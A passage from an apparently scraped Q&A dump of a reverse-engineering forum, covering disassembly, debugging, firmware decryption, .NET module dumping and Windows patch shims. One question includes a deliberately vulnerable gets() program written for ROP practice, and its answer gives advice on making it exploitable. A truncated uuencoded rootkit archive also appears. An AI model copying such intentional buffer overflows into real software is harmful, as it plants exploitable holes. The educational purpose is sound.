    int myrand(void) {\n    next = next * 1103515245 + 12345;\n    return((unsigned)(next/65536) % 32768);\n}\n
    \n\n

    Where 1103515245 and 12345 are two constant values that often change between implementations.

    \n\n

    This is glibc's version. You can see it's more complicated. Reverse engineering the specific implementation is probably the safest way.

    \n" }, { "Id": "13750", "CreationDate": "2016-10-18T11:53:53.167", "Body": "

    Reversing an application that crashes at the last line of the following instructions:

    \n\n
    sub rsp,68\nmov qword ptr ss:[rsp+B0],rcx\nmov qword ptr ss:[rsp+B8],rdx\nmov qword ptr ss:[rsp+C0],r8\nmov qword ptr ss:[rsp+C8],r9\nmovdqa xmmword ptr ss:[rsp+20],xmm0\n
    \n\n

    I'm new to reverse engineering and trying to figure out how it is possible that this is crashing.

    \n\n

    The memory protection of rsp+20 should be the same as rsp+B0 for example ...

    \n\n

    X64DBG: EXCEPTION_ACCESS_VIOLATION

    \n\n

    Edit: all numbers in the instructions are in hex! (68, 20, ...)

    \n", "Title": "Moving xmm0 onto the stack results in a access violation exception", "Tags": "|stack|exception|", "Answer": "

    According to definition of the assembly command movdqathe memory operand should be aligned by 16 (see Intel SDM at Vol. 2B 4-63):

    \n\n
    \n

    When the source or destination operand is a memory operand, the\n operand must be aligned on a 16\n (EVEX.128)/32(EVEX.256)/64(EVEX.512)-byte boundary or a\n general-protection exception (#GP) will be generated. To move integer\n data to and from unaligned memory locations, use the VMOVDQU\n instruction.

    \n
    \n\n

    If 20 is not hexadecimal here, it would probably be the cause.\nIn addition if 20 here is hexadecimal, rsp still may not be aligned as needed.

    \n" }, { "Id": "13755", "CreationDate": "2016-10-18T15:14:47.683", "Body": "

    On the iPhone Wiki there are decryption keys for several, but not all, of the iPhone firmwares (root filesystems and kernelcache files). How were these keys found?

    \n", "Title": "How are the iOS kernel cache and root filesystem decrypted?", "Tags": "|firmware|decryption|ios|", "Answer": "

    AFAIK these keys are calculated by the bootrom code using the GID (model-specific) key which is disabled afterwards (IIRC) and cannot be used even if you have kernel code execution. So you need to have some kind of bootrom code exec for the specific model you have the kernelcache for.

    \n\n

    The actual keys are stored in the KBAG section of the .img4 wrapper format, encrypted with the GID key.

    \n" }, { "Id": "13757", "CreationDate": "2016-10-18T15:44:21.407", "Body": "

    There is an interesting article on Phack:\nhttp://phrack.org/issues/69/15.html#article

    \n\n

    At the end of the article there is the source appended in a strange encoding.

    \n\n
    begin 664 hypervisor_for_rootkit.tar.gz\nM'XL(`%?BS58``^P];7>B2-;]U3ZG_P/K[LXQTU$!$<R0S!Q4['C&1!\\U[<PS\nM/<=%*)5I!`8P+],[_WUO%:!@0,U+)YUNJF,+U*U;5??]E@7,;VSD7.JNY8RG\nM\\'$LR_NH>^57CUEH*`)-XV]&J,:^P_**87F^4N$96A!>T0S'5/A75/511Y%2\n...\n`\nend\n
    \n\n

    Does anyone know how to convert this back to the original archive?

    \n", "Title": "Does anyone know this encoding?", "Tags": "|file-format|encodings|", "Answer": "

    If you are using a file manager like Total Commander on Windows, simply create a new text file (Shift+F4), name it like you want followed by .uue extension\ni.e. hypervisor_for_rootkit.tar.gz.uue

    \n\n

    Then paste the whole encoded symbols in that new text file with *.uue extension including the 'begin ...' and 'end' strings.

    \n\n

    Now open (click) that file in Total Commander and it'll be ready to unpack (decode) it to the sidebar location.

    \n\n

    Or Files -> Decode File... in menu on selected .uue file

    \n" }, { "Id": "13761", "CreationDate": "2016-10-19T04:15:18.383", "Body": "

    I downloaded the paimei tool and dropped the pydbg package files inside .../paimai/pydbg then installed paimei but I can't seem to get pydbg to work. I keep getting an error with pydasm when trying to import pydbg. Any tips?

    \n\n

    I have python 2.7 on windows 10.

    \n", "Title": "Getting pydbg working on windows 10", "Tags": "|tools|debuggers|python|", "Answer": "

    Are you sure you installed pydasm properly? pydasm cannot be automatically installed by pip, so most installations of dependent software will just assume it is installed when in their own installation process as well as when executing.

    \n\n

    This explains how libdasm and pydasm can be compiled and installed on windows. This provides a prebuilt package and shows how to properly install it, together with additional scripts you seem to be using.

    \n\n

    It is not too clear from your question, but it might be the case that the missing package is pydbg, depends on how I interpret your text.\nIf that's the case, the second aforementioned link also describes how pydbg can be installed, and additionally google is your friend.

    \n\n

    If these links does not work, providing the output of pip freeze will be a good start of additional info.

    \n" }, { "Id": "13762", "CreationDate": "2016-10-19T16:28:57.263", "Body": "

    What is the memory address information I should plug into IDA for this BIN file?

    \n\n

    GOAL:

    \n\n

    To disassemble a BIN file extracted from firmware.sb

    \n\n

    This BIN file contains the low level board initialization, SDRAM clocks, power, Interrupt Controller, LCD, duart, and more.

    \n\n

    I need the values passed to the LCD, duart and other to know what exact hardware my board uses and to know if firmware for an earlier board will work on a later board.

    \n\n

    I will use these values to create linux drivers at a later date. (LCD)

    \n\n

    Ref this question.

    \n\n

    BACKGROUND INFO:

    \n\n

    Board initialization sequence:

    \n\n

    Part of the this BIN file is loaded into the on chip RAM (OCRAM) for minimal board init. \nThis code is executed and will init the rest of the board most important for this question the SDRAM.\nMore of this BIN file will load into the SDRAM then execute and init the rest of the board. This BIN will then load and pass control to the OS.

    \n\n

    Basically a boot loader.

    \n\n

    Here is a simple example of this using my custom u-boot and kernel. Oversimplified and information removed for brevity. Actual BIN file info.

    \n\n
    LOAD    addr=0x00001000 len=0x00001ef4\nCALL    addr=0x00001000 arg=0x00000000\nLOAD    addr=0x40002000 len=0x000368ec\nLOAD    addr=0x40600000 len=0x002ed3c8\nLOAD    addr=0x40a00000 len=0x00002b1e\nCALL    addr=0x40002000 arg=0x00000000\n
    \n\n

    This is part of the memory map for this \u03bcP.

    \n\n
    OCRAM 0x00000000 - 0x00007FFF 32KB\nSDRAM 0x40000000 - 0x5FFFFFFF 512MB\nPeripherals 0x80000000 - 0xBFFFFFFF\n
    \n\n

    Example of Peripherals:

    \n\n
    CLKCTRL 0x80040000 - 0x80041FFF\nDBGUART 0x80070000 - 0x80071FFF\n
    \n\n

    The \u03bcP is a Freescale mx23 or imx233.

    \n\n

    This board has 16MB SDRAM 0x40000000 - 0x01000000

    \n\n

    In the \u201cARM architecture options\u201d dialog I set:

    \n\n

    Base architecture as ARMv5TEJ.

    \n\n

    VFP instructions as NONE

    \n\n

    Thumb instructions as Thumb

    \n\n
    \n\n

    In the \u201cDisassembly memory organization\u201d dialog I am unsure what to set.

    \n\n

    Is the RAM section my SDRAM, 0x40000000 - 0x01000000?

    \n\n

    Is the ROM section my OCRAM, 0x00000000 - 0x00007FFF?

    \n\n

    What about Input file loading address, file offset, loading size?

    \n\n

    Would the loading size be the 16MB of my SDRAM?

    \n\n

    Where does the peripherals addresses go?

    \n", "Title": "What values do I use for Freescale ARM imx233 \u03bcP in IDA Pro \u201cmemory layout dialog\u201d for RAM and ROM?", "Tags": "|ida|disassembly|arm|memory|", "Answer": "

    I'll make this brief:

    \n\n
    \n

    Is the RAM section my SDRAM, 0x40000000 - 0x01000000?

    \n
    \n\n

    Yes, this is correct. But AFAIK not too important. IDA will create different segment for different code parts based on this input, but will handle fine which ever values are entered.

    \n\n
    \n

    Is the ROM section my OCRAM, 0x00000000 - 0x00007FFF?

    \n
    \n\n

    Yes, this is again correct but again AFAIK it's not too important.

    \n\n
    \n

    What about Input file loading address, file offset, loading size?

    \n
    \n\n

    for low-level code executed, and especially for boot loaders, the loading address should be specified in the chip's datasheet.

    \n\n
    \n

    Would the loading size be the 16MB of my SDRAM?

    \n
    \n\n

    Yep. IDA will add the RAM address space as an additional segment for you.

    \n\n
    \n

    Where does the peripherals addresses go?

    \n
    \n\n

    IDA doesn't explicitly support peripherals, you'll need to include those in your RAM definition or create a different segment manually after the file is loaded. You'll need to manually specify what peripheral is exposed at each address either by adding different segments for different peripherals or by creating and naming variables/structures.

    \n" }, { "Id": "13769", "CreationDate": "2016-10-20T12:22:20.723", "Body": "

    I wrote a statement in visual studio.

    \n\n
    int sum(int a, int b){\n    return a + b;\n}  \nint main(){\n    tong(3,4);\n    return 0;\n}\n
    \n\n

    And aften i use ida pro Disassembly it. And my function tong has registers, such as: esi, edi, that i think them willn't be used, i think it use only registers: eax, ebp, esp. Why does ida use them?

    \n\n
    .text:004113C0 ; int __cdecl tong(int a, int b)\n.text:004113C0 ?tong@@YAHHH@Z  proc near               ; CODE XREF:     tong(int,int)j\n.text:004113C0\n.text:004113C0 var_C0          = byte ptr -0C0h\n.text:004113C0 a               = dword ptr  8\n.text:004113C0 b               = dword ptr  0Ch\n.text:004113C0\n.text:004113C0                 push    ebp\n.text:004113C1                 mov     ebp, esp\n.text:004113C3                 sub     esp, 0C0h\n.text:004113C9                 push    ebx\n.text:004113CA                 push    esi\n.text:004113CB                 push    edi\n.text:004113CC                 lea     edi, [ebp+var_C0]\n.text:004113D2                 mov     ecx, 30h\n.text:004113D7                 mov     eax, 0CCCCCCCCh\n.text:004113DC                 rep stosd\n.text:004113DE                 mov     eax, [ebp+a]\n.text:004113E1                 add     eax, [ebp+b]\n.text:004113E4                 pop     edi\n.text:004113E5                 pop     esi\n.text:004113E6                 pop     ebx\n.text:004113E7                 mov     esp, ebp\n.text:004113E9                 pop     ebp\n.text:004113EA                 retn\n.text:004113EA ?tong@@YAHHH@Z  endp\n
    \n\n

    Can anyone explain their meaning?

    \n\n

    UPDATE 1

    \n\n
    .text:00411400 ; int __cdecl main()\n.text:00411400 _main           proc near               ; CODE XREF: j__mainj\n.text:00411400\n.text:00411400 var_C0          = byte ptr -0C0h\n.text:00411400\n.text:00411400                 push    ebp\n.text:00411401                 mov     ebp, esp\n.text:00411403                 sub     esp, 0C0h\n.text:00411409                 push    ebx\n.text:0041140A                 push    esi\n.text:0041140B                 push    edi\n.text:0041140C                 lea     edi, [ebp+var_C0]\n.text:00411412                 mov     ecx, 30h\n.text:00411417                 mov     eax, 0CCCCCCCCh\n.text:0041141C                 rep stosd\n.text:0041141E                 push    4               ; b\n.text:00411420                 push    3               ; a\n.text:00411422                 call    j_?tong@@YAHHH@Z ; tong(int,int)\n.text:00411427                 add     esp, 8\n.text:0041142A                 xor     eax, eax\n.text:0041142C                 pop     edi\n.text:0041142D                 pop     esi\n.text:0041142E                 pop     ebx\n.text:0041142F                 add     esp, 0C0h\n.text:00411435                 cmp     ebp, esp\n.text:00411437                 call    j___RTC_CheckEsp\n.text:0041143C                 mov     esp, ebp\n.text:0041143E                 pop     ebp\n.text:0041143F                 retn\n.text:0041143F _main           endp\n
    \n", "Title": "Why ida use redundant registers?", "Tags": "|ida|x86|", "Answer": "

    Seems like you renamed the tong function to sum in your C code, but not in assembly, which is from where some of the confusion comes.

    \n\n

    Why does IDA use those registers? Well, because that's the assembly that the compiler produced from your C code. IDA just uses what's there. So the better question would be:

    \n\n

    Why did the compiler produce code that uses ebx, esi, edi, ecx, ... when only eax would need to be used?

    \n\n

    Actually, the only lines from your tong function that are really neccesary are

    \n\n
    .text:004113C0                 push    ebp\n.text:004113C1                 mov     ebp, esp\n.text:004113DE                 mov     eax, [ebp+a]\n.text:004113E1                 add     eax, [ebp+b]\n.text:004113E9                 pop     ebp\n.text:004113EA                 retn\n
    \n\n

    (and in theory you don't even need to use ebp; you could just use esp do index the stack, saving you another two lines).

    \n\n

    The rest is due to compiler flags - optimization level and stack checking level. These lines seem to check if the stack gets smashed somewhere:

    \n\n
    .text:00411403                 sub     esp, 0C0h\n.text:0041140C                 lea     edi, [ebp+var_C0]\n.text:00411412                 mov     ecx, 30h\n.text:00411417                 mov     eax, 0CCCCCCCCh\n.text:0041141C                 rep stosd\n.....\ntext:00411437                 call    j___RTC_CheckEsp\n
    \n\n

    which allocates 192 (hex C0) bytes on the stack, fills them with CC, and later calls a function that supposedly checks if those CC bytes are still there. This smashes eax, ecx and edi. If you disable stack checking somewhere in the compiler options, this part will be omitted.

    \n\n

    Also, the compiler probably has a convention that functions should never change ebx, esi and edi. Which is why it produces push operations at the start, and pop and the end, for these registers, of the function. If optimization was turned higher, it would probably note that esi and ebx are never used in the function, so it'd optimize those lines out.

    \n\n

    So to sum it up: in addition to your C code, the compiler does some internal housekeeping, which produces code that accesses more registers than your code alone would need. Messing with compiler options changes the amount of housekeeping that's needed. And IDA just displays what's there, it doesn't have a say in what the assembly, produced by the compiler, contains or doesn't contain.

    \n" }, { "Id": "13781", "CreationDate": "2016-10-21T18:04:53.860", "Body": "

    I have a client application that, once the user is authenticated with my server, sends a byte array which is then loaded using Assembly.Load. I am pretty sure once that happens, even if the loaded bytes are dumped from memory, they cannot be used to re-construct source code. I just wanted to confirm this, or get more information in case I am wrong.

    \n\n

    Thanks!

    \n", "Title": "Can my C# program be dumped from memory and reversed into source code?", "Tags": "|disassembly|decompilation|.net|", "Answer": "

    It is in fact trivial to dump the byte array or the module directly from dnSpy.

    \n\n

    To mimic the described scenario I wrote some trivial example code:

    \n\n
    using System.IO;\nusing System.Reflection;\n\nnamespace DumpAssembly\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            var rawAssembly = File.ReadAllBytes(\"Test.dll\");\n            var assembly = Assembly.Load(rawAssembly);\n            foreach(var type in assembly.ExportedTypes)\n            {\n                if (type.Name == \"Test\")\n                {\n                    var method = type.GetMethod(\"DoCoolStuff\");\n                    method.Invoke(null, null);\n                    break;\n                }\n            }\n        }\n    }\n}\n
    \n\n

    Drop the generated assembly in dnSpy, start debugging and step a little through the Main method. Soon you will be able to save the newly-loaded module:

    \n\n

    \"Dumping

    \n\n

    Once the module is saved, opening it in dnSpy will easily give away your intellectual property:

    \n\n

    \"Decompiling

    \n\n

    Now a partial solution for this is obfuscating your module with something like ConfuserEx (it's open source, commercial products are available). This might slow down your attackers but it would be naive to assume they cannot decompile and understand your code within a reasonable amount of time.

    \n" }, { "Id": "13790", "CreationDate": "2016-10-22T10:35:45.833", "Body": "

    I wonder why the values of the stack pointer in IDA Pro have similar values.\n\"enter

    \n\n

    Can anyone explain their meaning?

    \n", "Title": "Stack pointer values in IDA Pro", "Tags": "|ida|disassembly|x86|", "Answer": "

    The call pushes the address of the next mnemonic on the stack. But the ret in the function explode_bomb will also pop this address from the stack. So the stack value at 0x8048b6e will stay the same. If the jump at 0x8048b67 is taken the stack will also be unchanged.

    \n" }, { "Id": "13793", "CreationDate": "2016-10-22T19:15:04.850", "Body": "

    No matter what I do, I can't seem to be able to get my Windows 10 (64-bit, build 1607) to apply any patches in custom SDB's (as described in the article of Jon Erickson from 2014).

    \n\n

    I'm using Jon's sdb-explorer to generate a patch SDB from the following source (assuming calc.exe's PE checksum is 0000BE15 and the entrypoint RVA is 0x2900):

    \n\n
    !sdbpatch\nAPP=calc.exe\nDBNAME=calc_test\nP:calc.exe,0xbe15\nR:calc.exe,0x2900,CCCCCCC3\n!endsdbpatch\n
    \n\n

    The exact commands are:

    \n\n
    sdb-explorer.exe -C calc-test.txt -o calc-test.sdb\nsdbinst.exe -p calc-test.sdb\n
    \n\n

    The install is successful but has no effect - calc.exe still starts and runs normally.

    \n\n

    Hence my question - has the PATCH mechanism been removed or somehow crippled in Windows 10?

    \n\n
    \n\n

    p.s. I need this for legitimate reasons - I'm trying to patch the touchpad utility which is posting mouse wheel messages which don't work in Windows 10 UWP apps, but the utility is signed with uiAccess=\"true\", so I can't just patch the executable.

    \n", "Title": "Are PATCH shims (.sdb's) no longer functional in Windows 10?", "Tags": "|windows|patching|", "Answer": "

    From preliminary investigation by Jon, it seems patching functionality has been indeed removed on Windows 10:

    \n\n
    \n

    I've compared apphelp.dll on Windows 7 versus Windows 10. The Windows\n 10 version does not have the function SeiApplyPatch. This is what is\n responsible for performing the PATCH. It appears that Microsoft has\n removed this feature.

    \n
    \n\n

    However, it seems you can still use shims, although apparently not on all binaries.

    \n" }, { "Id": "13794", "CreationDate": "2016-10-23T10:37:09.710", "Body": "

    I have an app in which I have to manually alter several flags in order to get to the part of the code Im interested in (imagine altering ZF to pass JNZ instruction). I have to do this every time I run application. What is the best way to do this permanently so I can simply run app to the part Im interested in?

    \n\n

    I can patch binary (in different program - ie change jnz to jmp) and load it in IDA again but I have no idea how to load IDA database into it (to get my comments, function names I made etc etc).

    \n\n

    Is there any way to do this?

    \n\n

    Thanks.

    \n", "Title": "IDA & patching question", "Tags": "|ida|patching|", "Answer": "

    You don't have to use separate program to patch in ida.\nSimple select/highlight in ida-view where you wanna patch, then in Edit(menu)>>patch byte\nThen after you are done patching what you need, Edit(menu>>apply patches to input file.\nI usually keep the backup ( you get a option for that)

    \n" }, { "Id": "13805", "CreationDate": "2016-10-24T20:16:44.230", "Body": "

    I'm trying to debug Windows XP's kernel with KD but every time I start the debugger,it seem to crash.

    \n\n

    Setup

    \n\n

    Windows 10 (host machine,running kd)

    \n\n

    Windows XP x86 SP3 VM (being debugged)

    \n\n\n\n

    When I try to connect to my VM I use:
    \nkd -y srv*c:\\symbols*https://msdl.microsoft.com/download/symbols -k com:port=\\\\.\\pipe\\com_1,pipe

    \n\n

    After which I get this output:

    \n\n
    Copyright (c) Microsoft Corporation. All rights reserved.\n\nOpened \\\\.\\pipe\\com_1\nKernel Debug Target Status: [no_debuggee]; Retries: [0] times in last [7] seconds.\nWaiting to reconnect...\nUnable to read head of debugger data list, Win32 error 0n56\nConnected to Windows XP 2600 x86 compatible target at (Mon Oct 24 20:21:44.286 2016 (UTC + 2:00)), ptr64 FALSE\nKernel Debugger connection established.\n\n************* Symbol Path validation summary **************\nResponse                         Time (ms)     Location\nDeferred                                       srv*c:\\symbols*https://msdl.microsoft.com/download/symbols\nDeferred                                       srv*c:symbols*http://msdl.microsoft.com/download/symbols\nSymbol search path is: srv*c:\\symbols*https://msdl.microsoft.com/download/symbols;srv*c:symbols*http://msdl.microsoft.com/download/symbols\nExecutable search path is:\nWindows XP Kernel Version 2600 UP Free x86 compatible\nBuilt by: 2600.xpsp_sp3_qfe.130704-0421\nMachine Name:\nKernel base = 0x804d7000 PsLoadedModuleList = 0x805541c0\nSystem Uptime: not available\n                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   52: ERROR: UMRxReadDWORDFromTheRegistry/ZwQueryValueKey: NtStatus = c0000034\nERROR: DavReadRegistryValues/RegQueryValueExW(4). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(5). WStatus = 127\nERROR: DavReadRegistryValues/RegQueryValueExW(6). WStatus = 127\nwatchdog!WdUpdateRecoveryState: Recovery enabled.\nBreak instruction exception - code 80000003 (first chance)\n*******************************************************************************\n*                                                                             *\n*   You are seeing this message because you pressed either                    *\n*       CTRL+C (if you run console kernel debugger) or,                       *\n*       CTRL+BREAK (if you run GUI kernel debugger),                          *\n*   on your debugger machine's keyboard.                                      *\n*                                                                             *\n*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *\n*                                                                             *\n* If you did not intend to break into the debugger, press the \"g\" key, then   *\n* press the \"Enter\" key now.  This message might immediately reappear.  If it *\n* does, press \"g\" and \"Enter\" again.                                          *\n*                                                                             *\n*******************************************************************************\nnt+0x50d2c:\n80527d2c cc              int     3\nkd>\n
    \n\n

    Problems

    \n\n\n\n

    EDIT 1: whatever I had with 'g' is gone,and I can run the XP VM.

    \n", "Title": "Windows XP kernel debugging", "Tags": "|windows|debugging|kernel|", "Answer": "
    \n

    but every time I start the debugger,it seem to crash.

    \n
    \n\n

    and

    \n\n
    \n

    According to what I found searching around it is correct that the OS freezes as it is in debug mode.

    \n
    \n\n

    Exactly. It's not crashing, it's only putting a breakpoint at system level:

    \n\n
    *******************************************************************************\n*                                                                             *\n*   You are seeing this message because you pressed either                    *\n*       CTRL+C (if you run console kernel debugger) or,                       *\n*       CTRL+BREAK (if you run GUI kernel debugger),                          *\n*   on your debugger machine's keyboard.                                      *\n*                                                                             *\n*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *\n*                                                                             *\n* If you did not intend to break into the debugger, press the \"g\" key, then   *\n* press the \"Enter\" key now.  This message might immediately reappear.  If it *\n* does, press \"g\" and \"Enter\" again.                                          *\n*                                                                             *\n*******************************************************************************\n
    \n\n

    Simply press g then Enter. Do it again if it doesn't work, and it should run properly. Press Ctrl+C (for kd) or Ctrl+Break (for windbg) to break (i.e. \"pause\" the system) again.

    \n\n
    \n\n
    \n

    Also, I'm trying to decompile some routines, and I would like to know if there is any command that allows me to know whether arguments are required by the function.

    \n
    \n\n

    You need to load the symbols for the module you're going to debug. To do so, you have a few handy commands:

    \n\n\n\n

    To find KeInitializeApc, you would need to use the x command, like this:

    \n\n
    0: kd> x *!KeInitializeAPC\n82aebdf3          nt!KeInitializeApc (<no parameter info>)\n
    \n\n

    As you can see, the command shows us the offset of the function (you'll use it later with u), its module (nt), and its full, correct name (nt!KeInitializeApc).

    \n\n

    The x command looks like:

    \n\n
    x module!symbol\n
    \n\n

    You can use wildcards like in my example above, specify options, etc. More info about the command in MSDN.

    \n\n

    TL;DR

    \n\n

    To find KeInitializeApc, you'd do:

    \n\n
    kd> .symfix # make the debugger download symbols it needs\nkd> .reload # reload symbols NOW\nkd> x *!KeInitializeAPC # find desired function\n82aebdf3          nt!KeInitializeApc (<no parameter info>)\nkd> u 82aebdf3 # unassemble (disassemble)\nnt!KeInitializeApc:\n82aebdf3 8bff            mov     edi,edi\n82aebdf5 55              push    ebp\n82aebdf6 8bec            mov     ebp,esp\n82aebdf8 8b4508          mov     eax,dword ptr [ebp+8]\n82aebdfb 8b5510          mov     edx,dword ptr [ebp+10h]\n82aebdfe 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]\n82aebe01 c60012          mov     byte ptr [eax],12h\n82aebe04 c6400230        mov     byte ptr [eax+2],30h\n
    \n\n

    From there, the decompilation is up to you. You now have the disassembly. I used the u command, which means unassemble. You can also use uf (unassemble function) to get a more function-friendly output, like this:

    \n\n
    kd> uf 82aebdf3 # unassemble function\nnt!KeInitializeApc:\n82aebdf3 8bff            mov     edi,edi\n82aebdf5 55              push    ebp\n82aebdf6 8bec            mov     ebp,esp\n82aebdf8 8b4508          mov     eax,dword ptr [ebp+8]\n82aebdfb 8b5510          mov     edx,dword ptr [ebp+10h]\n82aebdfe 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]\n82aebe01 c60012          mov     byte ptr [eax],12h\n82aebe04 c6400230        mov     byte ptr [eax+2],30h\n82aebe08 83fa02          cmp     edx,2\n82aebe0b 7506            jne     nt!KeInitializeApc+0x20 (82aebe13)  Branch\n\nnt!KeInitializeApc+0x1a:\n82aebe0d 8a9134010000    mov     dl,byte ptr [ecx+134h]\n\nnt!KeInitializeApc+0x20:\n82aebe13 894808          mov     dword ptr [eax+8],ecx\n...\n
    \n\n
    \n\n

    Edit

    \n\n
    \n

    The part regarding parameters is exactly what I'm looking for

    \n
    \n\n

    I dumped the PDBs and found no parameter info, so I'd guess that Microsoft simply didn't release it.

    \n\n

    Here's what I did:

    \n\n
      \n

    1. Find the file where KeInitializeApc is:

      \n\n
      kd> x *!KeInitializeApc\n82abbdf3          nt!KeInitializeApc (<no parameter info>)\nkd> !address 82abbdf3\n...\n...\nModule name:            ntoskrnl.exe\nModule path:            [\\SystemRoot\\system32\\ntkrnlpa.exe]\n
      2. \n

    2. Download the symbols for ntoskrnl:

      \n\n
      cmd> symchk /v C:\\windows\\system32\\ntoskrnl.exe\n...\n...\nPdbFilename         C:\\Windows\\SYMBOLS\\ntkrnlmp.pdb\\9E22A5947A15489895CE716436B45BE02\\ntkrnlmp.pdb\n...\n
      3. \n
    \n\n

    (you can find symchk.exe in the same folder as windbg.exe)

    \n\n
      \n

    1. Use Microsoft's cvdump tool to dump the PDB into a text file:

      \n\n
      cmd> cvdump C:\\Windows\\SYMBOLS\\ntkrnlmp.pdb\\9E22A5947A15489895CE716436B45BE02\\ntkrnlmp.pdb > out\n
      2. \n

    2. Open the file and search for KeInitializeAPC. One hit:

      \n\n
      S_PUB32: [0001:00071654], Flags: 00000002, KeInitializeApc\n
      3. \n

    3. Search for KeInitializeApc again (no results), or its ID (I guess?), [0001:00071654] -> 71654. One result:

      \n\n
        *** SECTION CONTRIBUTIONS\n\n  Imod  Address        Size      Characteristics\n  01B9  0001:00071654  00000098  60303020\n
      4. \n

    4. Dump PDB types with cvdump -t

      5. \n

    5. No type info available for 01B9

      6. \n
    \n\n

    Additionally, I downloaded checked symbols (they supposedly have more information in them) and repeated the process for those, but couldn't find anything either.

    \n\n
    \n\n
    \n

    And after pressing \"g\" nothing happens,for a while, to the point that I decide to break again. Is it supposed to take long ?

    \n
    \n\n

    When you press g, you're basically telling the debugger to run the OS. Whenever it is running, the debugger can't do anything but wait until it breaks. Since the OS is running normally, it will not stop until you manually break. Therefore, you have to break before inputting any command.

    \n\n
    \n\n
    \n

    kd > dt PKKERNEL_ROUTINE

    \n
    \n\n

    Apparently, there aren't any Ke* symbols:

    \n\n
    kd> dt nt*!Ke*                             # nothing here\nkd> dt nt!LIST_ENTRY*                     # Symbols are working properly,\n          ntkrpamp!LIST_ENTRY64           # because this works\n          ntkrpamp!LIST_ENTRY32\nkd> dt nt!LIST_ENTRY64                    # dt works properly. Therefore,\n   +0x000 Flink            : Uint8B       # Ke* doesn't have any symbols\n   +0x008 Blink            : Uint8B\n
    \n\n

    You'll have to reverse the code yourself and name the params, or find them somewhere in the internet, because apparently they aren't in the PDBs.

    \n" }, { "Id": "13811", "CreationDate": "2016-10-25T08:12:23.857", "Body": "

    I was doing some tests to train myself to ROP when ASLR is ON and NX is enabled.

    \n\n

    I created this small program for testing purpose

    \n\n
    #include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main(int argc, char ** argv) {\n    char buff[128];\n\n    gets(buff);\n\n    char *password = \"I am h4cknd0\";\n\n    if (strcmp(buff, password)) {\n        printf(\"You password is incorrect\\n\");\n    } else {\n        printf(\"Access GRANTED !\\n\");\n    }\n\n    return 0;\n}\n
    \n\n

    And I compiled it on a 64bits Ubuntu with this command

    \n\n
    gcc -o rop rop.c -m32 -fno-stack-protector  -Wl,-z,relro,-z,now,-z,noexecstack -static\n
    \n\n

    When I open the beast in gdb and disassemble the main function, I get the following

    \n\n
    0x0804887c <+0>:       lea    ecx,[esp+0x4]\n0x08048880 <+4>:       and    esp,0xfffffff0\n0x08048883 <+7>:       push   DWORD PTR [ecx-0x4]\n0x08048886 <+10>:      push   ebp\n0x08048887 <+11>:      mov    ebp,esp\n0x08048889 <+13>:      push   ecx\n0x0804888a <+14>:      sub    esp,0x94\n0x08048890 <+20>:      sub    esp,0xc\n0x08048893 <+23>:      lea    eax,[ebp-0x8c]\n0x08048899 <+29>:      push   eax\n0x0804889a <+30>:      call   0x804f100 <gets>\n0x0804889f <+35>:      add    esp,0x10\n0x080488a2 <+38>:      mov    DWORD PTR [ebp-0xc],0x80bb388\n0x080488a9 <+45>:      sub    esp,0x8\n0x080488ac <+48>:      push   DWORD PTR [ebp-0xc]\n0x080488af <+51>:      lea    eax,[ebp-0x8c]\n0x080488b5 <+57>:      push   eax\n0x080488b6 <+58>:      call   0x8048280\n0x080488bb <+63>:      add    esp,0x10\n0x080488be <+66>:      test   eax,eax\n0x080488c0 <+68>:      je     0x80488d4 <main+88>\n0x080488c2 <+70>:      sub    esp,0xc\n0x080488c5 <+73>:      push   0x80bb395\n0x080488ca <+78>:      call   0x804f280 <puts>\n0x080488cf <+83>:      add    esp,0x10\n0x080488d2 <+86>:      jmp    0x80488e4 <main+104>\n0x080488d4 <+88>:      sub    esp,0xc\n0x080488d7 <+91>:      push   0x80bb3af\n0x080488dc <+96>:      call   0x804f280 <puts>\n0x080488e1 <+101>:     add    esp,0x10\n0x080488e4 <+104>:     mov    eax,0x0\n0x080488e9 <+109>:     mov    ecx,DWORD PTR [ebp-0x4]\n0x080488ec <+112>:     leave  \n0x080488ed <+113>:     lea    esp,[ecx-0x4]\n0x080488f0 <+116>:     ret\n
    \n\n

    It's the first time I have these function prologue and epilogue

    \n\n

    Prologue

    \n\n
    0x0804887c <+0>:       lea    ecx,[esp+0x4]\n0x08048880 <+4>:       and    esp,0xfffffff0\n0x08048883 <+7>:       push   DWORD PTR [ecx-0x4]\n
    \n\n

    Epilogue

    \n\n
    0x080488e9 <+109>:     mov    ecx,DWORD PTR [ebp-0x4]\n0x080488ec <+112>:     leave  \n0x080488ed <+113>:     lea    esp,[ecx-0x4]\n0x080488f0 <+116>:     ret\n
    \n\n

    Because of these, I need to know ESP value when the main function is called when exploiting the vulnerable binary with ROP, but since ASLR is enabled, it's not possible.

    \n\n

    PS : I assure you this is a program I wrote myself for training purpose, it's not part of any challenge or CTF.

    \n\n

    Thanks for your time and knowledge :)

    \n", "Title": "What is this protection that seems to prevent ROP when ASLR in ON?", "Tags": "|disassembly|rop|", "Answer": "

    While not a part of the official 386 SysV ABI, there is a de-facto requirement that the stack pointer is aligned to 16 bytes at all times when calling system functions (enforced by the de-facto standard compiler (GCC) since several years ago:1,2). That's why the prolog of the main function contains the and esp,0xfffffff0 instruction. Only the main() function needs to do that, other functions usually don't perform stack realignment since they assume they're already called with 16-byte alignment (unless you use -mrealignstack).

    \n\n

    So instead of using another compiler you could try putting the vulnerable code in a separate function, not main directly.

    \n" }, { "Id": "13816", "CreationDate": "2016-10-25T18:19:30.970", "Body": "

    I wish to use the codecs that come with realplayer but without needing realplayer. The codecs I want to use are all in .so format, but I don't know how to separate the codecs from the rest of realplayer and use the .so files directly.

    \n\n

    Is there a way to do this so that I can just plug the codecs into a new mediaplayer, without having to decompile and recompile the binaries?

    \n", "Title": "how Can I use a linux so file from a program other than the program it was developed for?", "Tags": "|binary-analysis|elf|binary|shared-object|got|", "Answer": "

    an so file is self contained, to use it, you simply need to load it and use functions it implements. However, in order to use those functions a header file describing the functions and their input parameters is required.

    \n\n

